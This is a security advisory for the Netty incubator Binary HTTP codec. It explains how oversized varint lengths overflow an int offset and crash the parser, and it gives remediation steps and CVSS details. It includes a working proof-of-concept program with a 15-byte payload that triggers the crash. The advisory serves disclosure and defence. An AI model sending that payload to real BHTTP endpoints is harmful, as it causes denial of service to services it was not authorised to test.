Skip to content

Binary HTTP parser unchecked varint length overflow causes decoder crash

Moderate
normanmaurer published GHSA-pgrf-4654-3gq8 Jul 12, 2026

Package

maven io.netty.incubator:netty-incubator-codec-bhttp (Maven)

Affected versions

<= 0.0.22.Final

Patched versions

0.0.23.Final

Description

Summary

io.netty.incubator:netty-incubator-codec-bhttp uses attacker-controlled Binary HTTP variable-length integers as long values but accumulates them into int offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked ArrayIndexOutOfBoundsException / IndexOutOfBoundsException from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose BinaryHttpParser / BinaryHttpDecoder to untrusted input.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, several parser paths store cumulative byte offsets in int sumBytes and then add attacker-controlled long lengths using compound assignment. In Java, int += long narrows the result back to int, so a length such as 2^31 wraps sumBytes negative.

Primary request-control-data path:

  • readRequestHead(...) declares int sumBytes = 0 at BinaryHttpParser.java:386.
  • It reads methodLength as a long at BinaryHttpParser.java:394.
  • It performs sumBytes += methodLength at BinaryHttpParser.java:395, narrowing the result to int.
  • If methodLength is 2^31, sumBytes wraps negative and bypasses if (sumBytes >= in.readableBytes()) return null at BinaryHttpParser.java:396-398.
  • The parser then computes schemeLengthIdx = in.readerIndex() + sumBytes and calls in.getByte(schemeLengthIdx) at BinaryHttpParser.java:401-402, producing a negative index exception.

The same pattern is present in header parsing:

  • readFieldLine(...) uses int sumBytes and adds long nameLength / long valueLength at BinaryHttpParser.java:659-680.
  • valueLengthIdx = nameIdx + (int) nameLength at BinaryHttpParser.java:674 can also overflow.

getIndeterminateLength(...) similarly uses int sumBytes and long possibleTerminator at BinaryHttpParser.java:544-553.

Proof of concept

Safe local verification performed in this repository. After compiling codec-bhttp, the following minimal verifier uses a 15-byte payload:

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;

public final class VerifyBhttpOverflow {
  public static void main(String[] args) {
    byte[] payload = new byte[] {
      0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00,
      0x47, 0x45, 0x54, 0x58, 0x58, 0x58
    };
    ByteBuf input = Unpooled.wrappedBuffer(payload);
    try {
      new BinaryHttpParser(8192).parse(input, false);
      System.out.println("returned");
    } catch (Throwable t) {
      System.out.println(t.getClass().getName());
      System.out.println(t.getMessage());
    }
  }
}

Payload interpretation:

  • 00: known-length request frame indicator.
  • c000000080000000: valid 8-byte varint encoding of 0x80000000 (2^31) as the method length.
  • 474554585858: a few dummy bytes so the parser proceeds far enough to compute the next index.

Observed result:

java.lang.ArrayIndexOutOfBoundsException
Index -2147483639 out of bounds for length 15

The parser should reject the malformed/incomplete message with a controlled decoder exception or return null awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.

Impact

A remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.

Suggested remediation

  • Use long for all cumulative byte counts derived from protocol lengths.
  • Before converting any protocol length to int, verify it is non-negative, no larger than Integer.MAX_VALUE, and no larger than available readable bytes and configured limits.
  • Replace sumBytes >= in.readableBytes() checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths.
  • Throw a controlled CorruptedFrameException / TooLongFrameException for invalid or unsupported lengths.
  • Add regression tests for 8-byte varint lengths at and above Integer.MAX_VALUE in request control data, response control data, known and indeterminate field sections, and field lines.

References

  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402
  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680
  • codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553
  • RFC 9292: Binary Representation of HTTP Messages
  • RFC 9000 variable-length integer encoding

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-61799

Weaknesses

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number. Learn more on MITRE.

Uncaught Exception

An exception is thrown from a function, but it is not caught. Learn more on MITRE.

Incorrect Conversion between Numeric Types

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur. Learn more on MITRE.

Credits